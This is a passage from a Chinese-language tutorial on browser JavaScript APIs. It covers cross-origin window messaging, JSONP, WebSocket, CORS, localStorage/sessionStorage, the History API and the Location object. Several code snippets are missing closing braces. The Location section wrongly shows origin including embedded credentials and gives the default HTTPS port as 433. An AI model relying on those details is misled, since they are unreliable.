path=/这样的话,二级域名和三级域名不用做任何设置,都可以读取这个 Cookie。3、iframe 和多窗口通信iframe元素可以在当前网页之中,嵌入其他网页。每个iframe元素形成自己的窗口,即有自己的window对象。iframe窗口之中的脚本,可以获得父窗口和子窗口。但是,只有在同源的情况下,父窗口和子窗口才能通信;如果跨域,就无法拿到对方的 DOM。比如,父窗口运行下面的命令,如果iframe窗口不是同源,就会报错。document .getElementById("myIFrame") .contentWindow .document // Uncaught DOMException: Blocked a frame from accessing a cross-origin frame.上面命令中,父窗口想获取子窗口的 DOM,因为跨域导致报错。反之亦然,子窗口获取主窗口的 DOM 也会报错。window.parent.document.body // 报错这种情况不仅适用于iframe窗口,还适用于window.open方法打开的窗口,只要跨域,父窗口与子窗口之间就无法通信。如果两个窗口一级域名相同,只是二级域名不同,那么设置上一节介绍的document.domain属性,就可以规避同源政策,拿到 DOM。对于完全不同源的网站,目前有两种方法,可以解决跨域窗口的通信问题。片段识别符(fragment identifier)跨文档通信API(Cross-document messaging)3.1 片段识别符片段标识符(fragment identifier)指的是,URL 的#号后面的部分,比如http://example.com/x.html#fragment的#fragment。如果只是改变片段标识符,页面不会重新刷新。父窗口可以把信息,写入子窗口的片段标识符。var src = originURL + '#' + data; document.getElementById('myIFrame').src = src;上面代码中,父窗口把所要传递的信息,写入 iframe 窗口的片段标识符。子窗口通过监听hashchange事件得到通知。window.onhashchange = checkMessage; function checkMessage() { var message = window.location.hash; // ... }同样的,子窗口也可以改变父窗口的片段标识符。parent.location.href = target + '#' + hash;3.2 window.postMessage()上面的这种方法属于破解,HTML5 为了解决这个问题,引入了一个全新的API:跨文档通信 API(Cross-document messaging)。这个 API 为window对象新增了一个window.postMessage方法,允许跨窗口通信,不论这两个窗口是否同源。举例来说,父窗口aaa.com向子窗口bbb.com发消息,调用postMessage方法就可以了。// 父窗口打开一个子窗口 var popup = window.open('http://bbb.com', 'title'); // 父窗口向子窗口发消息 popup.postMessage('Hello World!', 'http://bbb.com');postMessage方法的第一个参数是具体的信息内容,第二个参数是接收消息的窗口的源(origin),即“协议 + 域名 + 端口”。也可以设为*,表示不限制域名,向所有窗口发送。子窗口向父窗口发送消息的写法类似。// 子窗口向父窗口发消息 window.opener.postMessage('Nice to see you', 'http://aaa.com');父窗口和子窗口都可以通过message事件,监听对方的消息。// 父窗口和子窗口都可以用下面的代码, // 监听 message 消息 window.addEventListener('message', function (e) { console.log(e.data); },false);message事件的参数是事件对象event,提供以下三个属性。event.source:发送消息的窗口event.origin: 消息发向的网址event.data: 消息内容下面的例子是,子窗口通过event.source属性引用父窗口,然后发送消息。window.addEventListener('message', receiveMessage); function receiveMessage(event) { event.source.postMessage('Nice to see you!', '*'); }上面代码有几个地方需要注意。首先,receiveMessage函数里面没有过滤信息的来源,任意网址发来的信息都会被处理。其次,postMessage方法中指定的目标窗口的网址是一个星号,表示该信息可以向任意网址发送。通常来说,这两种做法是不推荐的,因为不够安全,可能会被恶意利用。event.origin属性可以过滤不是发给本窗口的消息。window.addEventListener('message', receiveMessage); function receiveMessage(event) { if (event.origin !== 'http://aaa.com') return; if (event.data === 'Hello World') { event.source.postMessage('Hello', event.origin); } else { console.log(event.data); }3.3 LocalStorage通过window.postMessage,读写其他窗口的 LocalStorage 也成为了可能。下面是一个例子,主窗口写入 iframe 子窗口的localStorage。window.onmessage = function(e) { if (e.origin !== 'http://bbb.com') { return; var payload = JSON.parse(e.data); localStorage.setItem(payload.key, JSON.stringify(payload.data)); };上面代码中,子窗口将父窗口发来的消息,写入自己的 LocalStorage。父窗口发送消息的代码如下。var win = document.getElementsByTagName('iframe')[0].contentWindow; var obj = { name: 'Jack' }; win.postMessage( JSON.stringify({key: 'storage', data: obj}), 'http://bbb.com' );加强版的子窗口接收消息的代码如下。window.onmessage = function(e) { if (e.origin !== 'http://bbb.com') return; var payload = JSON.parse(e.data); switch (payload.method) { case 'set': localStorage.setItem(payload.key, JSON.stringify(payload.data)); break; case 'get': var parent = window.parent; var data = localStorage.getItem(payload.key); parent.postMessage(data, 'http://aaa.com'); break; case 'remove': localStorage.removeItem(payload.key); break; };加强版的父窗口发送消息代码如下。var win = document.getElementsByTagName('iframe')[0].contentWindow; var obj = { name: 'Jack' }; // 存入对象 win.postMessage( JSON.stringify({key: 'storage', method: 'set', data: obj}), 'http://bbb.com' // 读取对象 win.postMessage( JSON.stringify({key: 'storage', method: "get"}), "*" window.onmessage = function(e) { if (e.origin != 'http://aaa.com') return; console.log(JSON.parse(e.data).name); };4、AJAX同源政策规定,AJAX 请求只能发给同源的网址,否则就报错。除了架设服务器代理(浏览器请求同源服务器,再由后者请求外部服务),有三种方法规避这个限制。JSONPWebSocketCORS4.1 JSONPJSONP 是服务器与客户端跨源通信的常用方法。最大特点就是简单易用,没有兼容性问题,老式浏览器全部支持,服务端改造非常小。它的做法如下。第一步,网页添加一个<script>元素,向服务器请求一个脚本,这不受同源政策限制,可以跨域请求。<script src="http://api.foo.com?callback=bar"></script>注意,请求的脚本网址有一个callback参数(?callback=bar),用来告诉服务器,客户端的回调函数名称(bar)。第二步,服务器收到请求后,拼接一个字符串,将 JSON 数据放在函数名里面,作为字符串返回(bar({...}))。第三步,客户端会将服务器返回的字符串,作为代码解析,因为浏览器认为,这是<script>标签请求的脚本内容。这时,客户端只要定义了bar()函数,就能在该函数体内,拿到服务器返回的 JSON 数据。下面看一个实例。首先,网页动态插入<script>元素,由它向跨域网址发出请求。function addScriptTag(src) { var script = document.createElement('script'); script.setAttribute('type', 'text/javascript'); script.src = src; document.body.appendChild(script); window.onload = function () { addScriptTag('http://example.com/ip?callback=foo'); function foo(data) { console.log('Your public IP address is: ' + data.ip); };上面代码通过动态添加<script>元素,向服务器example.com发出请求。注意,该请求的查询字符串有一个callback参数,用来指定回调函数的名字,这对于 JSONP 是必需的。服务器收到这个请求以后,会将数据放在回调函数的参数位置返回。foo({ 'ip': '8.8.8.8' });由于<script>元素请求的脚本,直接作为代码运行。这时,只要浏览器定义了foo函数,该函数就会立即调用。作为参数的 JSON 数据被视为 JavaScript 对象,而不是字符串,因此避免了使用JSON.parse的步骤。4.2 WebSocketWebSocket 是一种通信协议,使用ws://(非加密)和wss://(加密)作为协议前缀。该协议不实行同源政策,只要服务器支持,就可以通过它进行跨源通信。下面是一个例子,浏览器发出的 WebSocket 请求的头信息(摘自维基百科)。GET /chat HTTP/1.1 Host: server.example.com Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw== Sec-WebSocket-Protocol: chat, superchat Sec-WebSocket-Version: 13 Origin: http://example.com上面代码中,有一个字段是Origin,表示该请求的请求源(origin),即发自哪个域名。正是因为有了Origin这个字段,所以 WebSocket 才没有实行同源政策。因为服务器可以根据这个字段,判断是否许可本次通信。如果该域名在白名单内,服务器就会做出如下回应。HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk= Sec-WebSocket-Protocol: chat4.3 CORSCORS 是跨源资源分享(Cross-Origin Resource Sharing)的缩写。它是 W3C 标准,属于跨源 AJAX 请求的根本解决方法。相比 JSONP 只能发GET请求,CORS 允许任何类型的请求。下一章将详细介绍,如何通过 CORS 完成跨源 AJAX 请求。七、CORS 通信CORS 是一个 W3C 标准,全称是“跨域资源共享”(Cross-origin resource sharing)。它允许浏览器向跨域的服务器,发出XMLHttpRequest请求,从而克服了 AJAX 只能同源使用的限制。1、简介CORS 需要浏览器和服务器同时支持。目前,所有浏览器都支持该功能。整个 CORS 通信过程,都是浏览器自动完成,不需要用户参与。对于开发者来说,CORS 通信与普通的 AJAX 通信没有差别,代码完全一样。浏览器一旦发现 AJAX 请求跨域,就会自动添加一些附加的头信息,有时还会多出一次附加的请求,但用户不会有感知。因此,实现 CORS 通信的关键是服务器。只要服务器实现了 CORS 接口,就可以跨域通信。2、两种请求CORS 请求分成两类:简单请求(simple request)和非简单请求(not-so-simple request)。只要同时满足以下两大条件,就属于简单请求。(1)请求方法是以下三种方法之一。HEADGETPOST(2)HTTP 的头信息不超出以下几种字段。AcceptAccept-LanguageContent-LanguageLast-Event-IDContent-Type:只限于三个值application/x-www-form-urlencoded、multipart/form-data、text/plain凡是不同时满足上面两个条件,就属于非简单请求。一句话,简单请求就是简单的 HTTP 方法与简单的 HTTP 头信息的结合。这样划分的原因是,表单在历史上一直可以跨域发出请求。简单请求就是表单请求,浏览器沿袭了传统的处理方式,不把行为复杂化,否则开发者可能转而使用表单,规避 CORS 的限制。对于非简单请求,浏览器会采用新的处理方式。3、简单请求3.1 基本流程对于简单请求,浏览器直接发出 CORS 请求。具体来说,就是在头信息之中,增加一个Origin字段。下面是一个例子,浏览器发现这次跨域 AJAX 请求是简单请求,就自动在头信息之中,添加一个Origin字段。GET /cors HTTP/1.1 Origin: http://api.bob.com Host: api.alice.com Accept-Language: en-US Connection: keep-alive User-Agent: Mozilla/5.0...上面的头信息中,Origin字段用来说明,本次请求来自哪个域(协议 + 域名 + 端口)。服务器根据这个值,决定是否同意这次请求。如果Origin指定的源,不在许可范围内,服务器会返回一个正常的 HTTP 回应。浏览器发现,这个回应的头信息没有包含Access-Control-Allow-Origin字段(详见下文),就知道出错了,从而抛出一个错误,被XMLHttpRequest的onerror回调函数捕获。注意,这种错误无法通过状态码识别,因为 HTTP 回应的状态码有可能是200。如果Origin指定的域名在许可范围内,服务器返回的响应,会多出几个头信息字段。Access-Control-Allow-Origin: http://api.bob.com Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: FooBar Content-Type: text/html; charset=utf-8上面的头信息之中,有三个与 CORS 请求相关的字段,都以Access-Control-开头。(1)Access-Control-Allow-Origin该字段是必须的。它的值要么是请求时Origin字段的值,要么是一个*,表示接受任意域名的请求。(2)Access-Control-Allow-Credentials该字段可选。它的值是一个布尔值,表示是否允许发送 Cookie。默认情况下,Cookie 不包括在 CORS 请求之中。设为true,即表示服务器明确许可,浏览器可以把 Cookie 包含在请求中,一起发给服务器。这个值也只能设为true,如果服务器不要浏览器发送 Cookie,不发送该字段即可。(3)Access-Control-Expose-Headers该字段可选。CORS 请求时,XMLHttpRequest对象的getResponseHeader()方法只能拿到6个服务器返回的基本字段:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma。如果想拿到其他字段,就必须在Access-Control-Expose-Headers里面指定。上面的例子指定,getResponseHeader('FooBar')可以返回FooBar字段的值。3.2 withCredentials 属性上面说到,CORS 请求默认不包含 Cookie 信息(以及 HTTP 认证信息等),这是为了降低 CSRF 攻击的风险。但是某些场合,服务器可能需要拿到 Cookie,这时需要服务器显式指定Access-Control-Allow-Credentials字段,告诉浏览器可以发送 Cookie。Access-Control-Allow-Credentials: true同时,开发者必须在 AJAX 请求中打开withCredentials属性。var xhr = new XMLHttpRequest(); xhr.withCredentials = true;否则,即使服务器要求发送 Cookie,浏览器也不会发送。或者,服务器要求设置 Cookie,浏览器也不会处理。但是,有的浏览器默认将withCredentials属性设为true。这导致如果省略withCredentials设置,这些浏览器可能还是会一起发送 Cookie。这时,可以显式关闭withCredentials。xhr.withCredentials = false;需要注意的是,如果服务器要求浏览器发送 Cookie,Access-Control-Allow-Origin就不能设为星号,必须指定明确的、与请求网页一致的域名。同时,Cookie 依然遵循同源政策,只有用服务器域名设置的 Cookie 才会上传,其他域名的 Cookie 并不会上传,且(跨域)原网页代码中的document.cookie也无法读取服务器域名下的 Cookie。4、非简单请求4.1 预检请求非简单请求是那种对服务器提出特殊要求的请求,比如请求方法是PUT或DELETE,或者Content-Type字段的类型是application/json。非简单请求的 CORS 请求,会在正式通信之前,增加一次 HTTP 查询请求,称为“预检”请求(preflight)。浏览器先询问服务器,当前网页所在的域名是否在服务器的许可名单之中,以及可以使用哪些 HTTP 方法和头信息字段。只有得到肯定答复,浏览器才会发出正式的XMLHttpRequest请求,否则就报错。这是为了防止这些新增的请求,对传统的没有 CORS 支持的服务器形成压力,给服务器一个提前拒绝的机会,这样可以防止服务器收到大量DELETE和PUT请求,这些传统的表单不可能跨域发出的请求。下面是一段浏览器的 JavaScript 脚本。var url = 'http://api.alice.com/cors'; var xhr = new XMLHttpRequest(); xhr.open('PUT', url, true); xhr.setRequestHeader('X-Custom-Header', 'value'); xhr.send();上面代码中,HTTP 请求的方法是PUT,并且发送一个自定义头信息X-Custom-Header。浏览器发现,这是一个非简单请求,就自动发出一个“预检”请求,要求服务器确认可以这样请求。下面是这个“预检”请求的 HTTP 头信息。OPTIONS /cors HTTP/1.1 Origin: http://api.bob.com Access-Control-Request-Method: PUT Access-Control-Request-Headers: X-Custom-Header Host: api.alice.com Accept-Language: en-US Connection: keep-alive User-Agent: Mozilla/5.0...“预检”请求用的请求方法是OPTIONS,表示这个请求是用来询问的。头信息里面,关键字段是Origin,表示请求来自哪个源。除了Origin字段,“预检”请求的头信息包括两个特殊字段。(1)Access-Control-Request-Method该字段是必须的,用来列出浏览器的 CORS 请求会用到哪些 HTTP 方法,上例是PUT。(2)Access-Control-Request-Headers该字段是一个逗号分隔的字符串,指定浏览器 CORS 请求会额外发送的头信息字段,上例是X-Custom-Header。4.2 预检请求的回应服务器收到“预检”请求以后,检查了Origin、Access-Control-Request-Method和Access-Control-Request-Headers字段以后,确认允许跨源请求,就可以做出回应。HTTP/1.1 200 OK Date: Mon, 01 Dec 2008 01:15:39 GMT Server: Apache/2.0.61 (Unix) Access-Control-Allow-Origin: http://api.bob.com Access-Control-Allow-Methods: GET, POST, PUT Access-Control-Allow-Headers: X-Custom-Header Content-Type: text/html; charset=utf-8 Content-Encoding: gzip Content-Length: 0 Keep-Alive: timeout=2, max=100 Connection: Keep-Alive Content-Type: text/plain上面的 HTTP 回应中,关键的是Access-Control-Allow-Origin字段,表示http://api.bob.com可以请求数据。该字段也可以设为星号,表示同意任意跨源请求。Access-Control-Allow-Origin: *如果服务器否定了“预检”请求,会返回一个正常的 HTTP 回应,但是没有任何 CORS 相关的头信息字段,或者明确表示请求不符合条件。OPTIONS http://api.bob.com HTTP/1.1 Status: 200 Access-Control-Allow-Origin: https://notyourdomain.com Access-Control-Allow-Method: POST上面的服务器回应,Access-Control-Allow-Origin字段明确不包括发出请求的http://api.bob.com。这时,浏览器就会认定,服务器不同意预检请求,因此触发一个错误,被XMLHttpRequest对象的onerror回调函数捕获。控制台会打印出如下的报错信息。XMLHttpRequest cannot load http://api.alice.com. Origin http://api.bob.com is not allowed by Access-Control-Allow-Origin.服务器回应的其他 CORS 相关字段如下。Access-Control-Allow-Methods: GET, POST, PUT Access-Control-Allow-Headers: X-Custom-Header Access-Control-Allow-Credentials: true Access-Control-Max-Age: 1728000(1)Access-Control-Allow-Methods该字段必需,它的值是逗号分隔的一个字符串,表明服务器支持的所有跨域请求的方法。注意,返回的是所有支持的方法,而不单是浏览器请求的那个方法。这是为了避免多次“预检”请求。(2)Access-Control-Allow-Headers如果浏览器请求包括Access-Control-Request-Headers字段,则Access-Control-Allow-Headers字段是必需的。它也是一个逗号分隔的字符串,表明服务器支持的所有头信息字段,不限于浏览器在“预检”中请求的字段。(3)Access-Control-Allow-Credentials该字段与简单请求时的含义相同。(4)Access-Control-Max-Age该字段可选,用来指定本次预检请求的有效期,单位为秒。上面结果中,有效期是20天(1728000秒),即允许缓存该条回应1728000秒(即20天),在此期间,不用发出另一条预检请求。4.3 浏览器的正常请求和回应一旦服务器通过了“预检”请求,以后每次浏览器正常的 CORS 请求,就都跟简单请求一样,会有一个Origin头信息字段。服务器的回应,也都会有一个Access-Control-Allow-Origin头信息字段。下面是“预检”请求之后,浏览器的正常 CORS 请求。PUT /cors HTTP/1.1 Origin: http://api.bob.com Host: api.alice.com X-Custom-Header: value Accept-Language: en-US Connection: keep-alive User-Agent: Mozilla/5.0...上面头信息的Origin字段是浏览器自动添加的。下面是服务器正常的回应。Access-Control-Allow-Origin: http://api.bob.com Content-Type: text/html; charset=utf-8上面头信息中,Access-Control-Allow-Origin字段是每次回应都必定包含的。5、与 JSONP 的比较CORS 与 JSONP 的使用目的相同,但是比 JSONP 更强大。JSONP 只支持GET请求,CORS 支持所有类型的 HTTP 请求。JSONP 的优势在于支持老式浏览器,以及可以向不支持 CORS 的网站请求数据。八、Storage 接口1、概述Storage 接口用于脚本在浏览器保存数据。两个对象部署了这个接口:window.sessionStorage和window.localStorage。sessionStorage保存的数据用于浏览器的一次会话(session),当会话结束(通常是窗口关闭),数据被清空;localStorage保存的数据长期存在,下一次访问该网站的时候,网页可以直接读取以前保存的数据。除了保存期限的长短不同,这两个对象的其他方面都一致。保存的数据都以“键值对”的形式存在。也就是说,每一项数据都有一个键名和对应的值。所有的数据都是以文本格式保存。这个接口很像 Cookie 的强化版,能够使用大得多的存储空间。目前,每个域名的存储上限视浏览器而定,Chrome 是 2.5MB,Firefox 和 Opera 是 5MB,IE 是 10MB。其中,Firefox 的存储空间由一级域名决定,而其他浏览器没有这个限制。也就是说,Firefox 中,a.example.com和b.example.com共享 5MB 的存储空间。另外,与 Cookie 一样,它们也受同域限制。某个网页存入的数据,只有同域下的网页才能读取,如果跨域操作会报错。2、属性和方法Storage 接口只有一个属性。Storage.length:返回保存的数据项个数。window.localStorage.setItem('foo', 'a'); window.localStorage.setItem('bar', 'b'); window.localStorage.setItem('baz', 'c'); window.localStorage.length // 3该接口提供5个方法。2.1 Storage.setItem()Storage.setItem()方法用于存入数据。它接受两个参数,第一个是键名,第二个是保存的数据。如果键名已经存在,该方法会更新已有的键值。该方法没有返回值。window.sessionStorage.setItem('key', 'value'); window.localStorage.setItem('key', 'value');注意,Storage.setItem()两个参数都是字符串。如果不是字符串,会自动转成字符串,再存入浏览器。window.sessionStorage.setItem(3, { foo: 1 }); window.sessionStorage.getItem('3') // "[object Object]"上面代码中,setItem方法的两个参数都不是字符串,但是存入的值都是字符串。如果储存空间已满,该方法会抛错。写入不一定要用这个方法,直接赋值也是可以的。// 下面三种写法等价 window.localStorage.foo = '123'; window.localStorage['foo'] = '123'; window.localStorage.setItem('foo', '123');2.2 Storage.getItem()Storage.getItem()方法用于读取数据。它只有一个参数,就是键名。如果键名不存在,该方法返回null。window.sessionStorage.getItem('key') window.localStorage.getItem('key')键名应该是一个字符串,否则会被自动转为字符串。2.3 Storage.removeItem()Storage.removeItem()方法用于清除某个键名对应的键值。它接受键名作为参数,如果键名不存在,该方法不会做任何事情。sessionStorage.removeItem('key'); localStorage.removeItem('key');2.4 Storage.clear()Storage.clear()方法用于清除所有保存的数据。该方法的返回值是undefined。window.sessionStorage.clear() window.localStorage.clear()2.5 Storage.key()Storage.key()接受一个整数作为参数(从零开始),返回该位置对应的键值。window.sessionStorage.setItem('key', 'value'); window.sessionStorage.key(0) // "key"结合使用Storage.length属性和Storage.key()方法,可以遍历所有的键。for (var i = 0; i < window.localStorage.length; i++) { console.log(localStorage.key(i)); }3、storage 事件Storage 接口储存的数据发生变化时,会触发 storage 事件,可以指定这个事件的监听函数。window.addEventListener('storage', onStorageChange);监听函数接受一个event实例对象作为参数。这个实例对象继承了 StorageEvent 接口,有几个特有的属性,都是只读属性。StorageEvent.key:字符串,表示发生变动的键名。如果 storage 事件是由clear()方法引起,该属性返回null。StorageEvent.newValue:字符串,表示新的键值。如果 storage 事件是由clear()方法或删除该键值对引发的,该属性返回null。StorageEvent.oldValue:字符串,表示旧的键值。如果该键值对是新增的,该属性返回null。StorageEvent.storageArea:对象,返回键值对所在的整个对象。也说是说,可以从这个属性上面拿到当前域名储存的所有键值对。StorageEvent.url:字符串,表示原始触发 storage 事件的那个网页的网址。下面是StorageEvent.key属性的例子。function onStorageChange(e) { console.log(e.key); window.addEventListener('storage', onStorageChange);注意,该事件有一个很特别的地方,就是它不在导致数据变化的当前页面触发,而是在同一个域名的其他窗口触发。也就是说,如果浏览器只打开一个窗口,可能观察不到这个事件。比如同时打开多个窗口,当其中的一个窗口导致储存的数据发生改变时,只有在其他窗口才能观察到监听函数的执行。可以通过这种机制,实现多个窗口之间的通信。九、History 对象1、概述window.history属性指向 History 对象,它表示当前窗口的浏览历史。History 对象保存了当前窗口访问过的所有页面网址。下面代码表示当前窗口一共访问过3个网址。window.history.length // 3由于安全原因,浏览器不允许脚本读取这些地址,但是允许在地址之间导航。// 后退到前一个网址 history.back() // 等同于 history.go(-1)浏览器工具栏的“前进”和“后退”按钮,其实就是对 History 对象进行操作。2、属性History 对象主要有两个属性。History.length:当前窗口访问过的网址数量(包括当前网页)History.state:History 堆栈最上层的状态值(详见下文)// 当前窗口访问过多少个网页 window.history.length // 1 // History 对象的当前状态 // 通常是 undefined,即未设置 window.history.state // undefined3、方法3.1 History.back()、History.forward()、History.go()这三个方法用于在历史之中移动。History.back():移动到上一个网址,等同于点击浏览器的后退键。对于第一个访问的网址,该方法无效果。History.forward():移动到下一个网址,等同于点击浏览器的前进键。对于最后一个访问的网址,该方法无效果。History.go():接受一个整数作为参数,以当前网址为基准,移动到参数指定的网址,比如go(1)相当于forward(),go(-1)相当于back()。如果参数超过实际存在的网址范围,该方法无效果;如果不指定参数,默认参数为0,相当于刷新当前页面。history.back(); history.forward(); history.go(-2);history.go(0)相当于刷新当前页面。history.go(0); // 刷新当前页面注意,移动到以前访问过的页面时,页面通常是从浏览器缓存之中加载,而不是重新要求服务器发送新的网页。3.2 History.pushState(),History.pushState()方法用于在历史中添加一条记录。window.history.pushState(state, title, url)该方法接受三个参数,依次为:state:一个与添加的记录相关联的状态对象,主要用于popstate事件。该事件触发时,该对象会传入回调函数。也就是说,浏览器会将这个对象序列化以后保留在本地,重新载入这个页面的时候,可以拿到这个对象。如果不需要这个对象,此处可以填null。title:新页面的标题。但是,现在所有浏览器都忽视这个参数,所以这里可以填空字符串。url:新的网址,必须与当前页面处在同一个域。浏览器的地址栏将显示这个网址。假定当前网址是example.com/1.html,使用pushState()方法在浏览记录(History 对象)中添加一个新记录。var stateObj = { foo: 'bar' }; history.pushState(stateObj, 'page 2', '2.html');添加新记录后,浏览器地址栏立刻显示example.com/2.html,但并不会跳转到2.html,甚至也不会检查2.html是否存在,它只是成为浏览历史中的最新记录。这时,在地址栏输入一个新的地址(比如访问google.com),然后点击了倒退按钮,页面的 URL 将显示2.html;你再点击一次倒退按钮,URL 将显示1.html。总之,pushState()方法不会触发页面刷新,只是导致 History 对象发生变化,地址栏会有反应。使用该方法之后,就可以用History.state属性读出状态对象。var stateObj = { foo: 'bar' }; history.pushState(stateObj, 'page 2', '2.html'); history.state // {foo: "bar"}如果pushState的 URL 参数设置了一个新的锚点值(即hash),并不会触发hashchange事件。反过来,如果 URL 的锚点值变了,则会在 History 对象创建一条浏览记录。如果pushState()方法设置了一个跨域网址,则会报错。// 报错 // 当前网址为 http://example.com history.pushState(null, '', 'https://twitter.com/hello');上面代码中,pushState想要插入一个跨域的网址,导致报错。这样设计的目的是,防止恶意代码让用户以为他们是在另一个网站上,因为这个方法不会导致页面跳转。3.3 History.replaceState()History.replaceState()方法用来修改 History 对象的当前记录,其他都与pushState()方法一模一样。假定当前网页是example.com/example.html。history.pushState({page: 1}, 'title 1', '?page=1') // URL 显示为 http://example.com/example.html?page=1 history.pushState({page: 2}, 'title 2', '?page=2'); // URL 显示为 http://example.com/example.html?page=2 history.replaceState({page: 3}, 'title 3', '?page=3'); // URL 显示为 http://example.com/example.html?page=3 history.back() // URL 显示为 http://example.com/example.html?page=1 history.back() // URL 显示为 http://example.com/example.html history.go(2) // URL 显示为 http://example.com/example.html?page=34、popstate 事件每当同一个文档的浏览历史(即history对象)出现变化时,就会触发popstate事件。注意,仅仅调用pushState()方法或replaceState()方法 ,并不会触发该事件,只有用户点击浏览器倒退按钮和前进按钮,或者使用 JavaScript 调用History.back()、History.forward()、History.go()方法时才会触发。另外,该事件只针对同一个文档,如果浏览历史的切换,导致加载不同的文档,该事件也不会触发。使用的时候,可以为popstate事件指定回调函数。window.onpopstate = function (event) { console.log('location: ' + document.location); console.log('state: ' + JSON.stringify(event.state)); // 或者 window.addEventListener('popstate', function(event) { console.log('location: ' + document.location); console.log('state: ' + JSON.stringify(event.state)); });回调函数的参数是一个event事件对象,它的state属性指向pushState和replaceState方法为当前 URL 所提供的状态对象(即这两个方法的第一个参数)。上面代码中的event.state,就是通过pushState和replaceState方法,为当前 URL 绑定的state对象。这个state对象也可以直接通过history对象读取。var currentState = history.state;注意,页面第一次加载的时候,浏览器不会触发popstate事件。十、Location 对象,URL 对象,URLSearchParams 对象URL 是互联网的基础设施之一。浏览器提供了一些原生对象,用来管理 URL。1、Location 对象Location对象是浏览器提供的原生对象,提供 URL 相关的信息和操作方法。通过window.location和document.location属性,可以拿到这个对象。1.1 属性Location对象提供以下属性。Location.href:整个 URL。Location.protocol:当前 URL 的协议,包括冒号(:)。Location.host:主机。如果端口不是协议默认的80和433,则还会包括冒号(:)和端口。Location.hostname:主机名,不包括端口。Location.port:端口号。Location.pathname:URL 的路径部分,从根路径/开始。Location.search:查询字符串部分,从问号?开始。Location.hash:片段字符串部分,从#开始。Location.username:域名前面的用户名。Location.password:域名前面的密码。Location.origin:URL 的协议、主机名和端口。// 当前网址为 // http://user:passwd@www.example.com:4097/path/a.html?x=111#part1 document.location.href // "http://user:passwd@www.example.com:4097/path/a.html?x=111#part1" document.location.protocol // "http:" document.location.host // "www.example.com:4097" document.location.hostname // "www.example.com" document.location.port // "4097" document.location.pathname // "/path/a.html" document.location.search // "?x=111" document.location.hash // "#part1" document.location.username // "user" document.location.password // "passwd" document.location.origin // "http://user:passwd@www.example.com:4097"这些属性里面,只有origin属性是只读的,其他属性都可写。注意,如果对Location.href写入新的 URL 地址,浏览器会立刻跳转到这个新地址。// 跳转到新网址 document.location.href = 'http://www.example.com';这个特性常常用于让网页自动滚动到新的锚点。document.location.href = '#top'; // 等同于 document.location.hash = '#top';直接改写location,相当于写入href属性。document.location = 'http://www.example.com'; // 等同于 document.location.href = 'http://www.example.com';另外,Location.href属性是浏览器唯一允许跨域写入的属性,即非同源的窗口可以改写另一个窗口(比如子窗口与父窗口)的Location.href属性,导致后者的网址跳转。Location的其他属性都不允许跨域写入。1.2 方法(1)Location.assign()assign方法接受一个 URL 字符串作为参数,使得浏览器立刻跳转到新的 URL。如果参数不是有效的 URL 字符串,则会报错。// 跳转到新的网址 document.location.assign('http://www.example.com')(2)Location.replace()replace方法接受一个 URL 字符串作为参数,使得浏览器立刻跳转到新的 URL。如果参数不是有效的 URL 字符串,则会报错。它与assign方法的差异在于,replace会在浏览器的浏览历史History里面删除当前网址,也就是说,一旦使用了该方法,后退按钮就无法回到当前网页了,相当于在浏览历史里面,使用新的 URL 替换了老的 URL。它的一个应用是,当脚本发现当前是移动设备时,就立刻跳转到移动版网页。// 跳转到新的网址 document.location.replace('http://www.example.com')(3)Location.reload()reload方法使得浏览器重新加载当前网址,相当于按下浏览器的刷新按钮。它接受一个布尔值作为参数。如果参数为true,浏览器将向服务器重新请求这个网页,并且重新加载后,网页将滚动到头部(即scrollTop === 0)。如果参数是false或为空,浏览器将从本地缓存重新加载该网页,并且重新加载后,网页的视口位置是重新加载前的位置。// 向服务器重新请求当前网址 window.location.reload(true);(4)Location.toString()toString方法返回整个 URL 字符串,相当于读取Location.href属性。2、URL 的编码和解码网页的 URL 只能包含合法的字符。合法字符分成两类。URL 元字符:分号(;),逗号(,),斜杠(/),问号(?),冒号(:),at(@),&,等号(=),加号(+),美元符号($),井号(#)语义字符:a-z,A-Z,0-9,连词号(-),下划线(_),点(.),感叹号(!),波浪线(~),星号(*),单引号('),圆括号(())除了以上字符,其他字符出现在 URL 之中都必须转义,规则是根据操作系统的默认编码,将每个字节转为百分号(%)加上两个大写的十六进制字母。比如,UTF-8 的操作系统上,http://www.example.com/q=春节这个 URL 之中,汉字“春节”不是 URL 的合法字符,所以被浏览器自动转成http://www.example.com/q=%E6%98%A5%E8%8A%82。其中,“春”转成了%E6%98%A5,“节”转成了%E8%8A%82。这是因为“春”和“节”的 UTF-8 编码分别是E6 98 A5和E8 8A 82,将每个字节前面加上百分号,就构成了 URL 编码。JavaScript 提供四个 URL 的编码/解码方法。encodeURI()encodeURIComponent()decodeURI()decodeURIComponent()2.1 encodeURI()encodeURI()方法用于转码整个 URL。它的参数是一个字符串,代表整个 URL。它会将元字符和语义字符之外的字符,都进行转义。encodeURI('http://www.example.com/q=春节') // "http://www.example.com/q=%E6%98%A5%E8%8A%82"2.2 encodeURIComponent()encodeURIComponent()方法用于转码 URL 的组成部分,会转码除了语义字符之外的所有字符,即元字符也会被转码。所以,它不能用于转码整个 URL。它接受一个参数,就是 URL 的片段。encodeURIComponent('春节') // "%E6%98%A5%E8%8A%82" encodeURIComponent('http://www.example.com/q=春节') // "http%3A%2F%2Fwww.example.com%2Fq%3D%E6%98%A5%E8%8A%82"上面代码中,encodeURIComponent()会连 URL 元字符一起转义,所以如果转码整个 URL 就会出错。2.3 decodeURI()decodeURI()方法用于整个 URL 的解码。它是encodeURI()方法的逆运算。它接受一个参数,就是转码后的 URL。decodeURI('http://www.example.com/q=%E6%98%A5%E8%8A%82') // "http://www.example.com/q=春节"2.4 decodeURIComponent()decodeURIComponent()用于URL 片段的解码。它是encodeURIComponent()方法的逆运算。它接受一个参数,就是转码后的 URL 片段。decodeURIComponent('%E6%98%A5%E8%8A%82') // "春节"3、URL 接口URL接口是一个构造函数,浏览器原生提供,可以用来构造、解析和编码 URL。一般情况下,通过window.URL可以拿到这个构造函数。3.1 构造函数URL作为构造函数,可以生成 URL 实例。它接受一个表示 URL 的字符串作为参数。如果参数不是合法的 URL,会报错。var url = new URL('http://www.example.com/index.html'); url.href // "http://www.example.com/index.html"如果参数是另一个 URL 实例,构造函数会自动读取该实例的href属性,作为实际参数。如果 URL 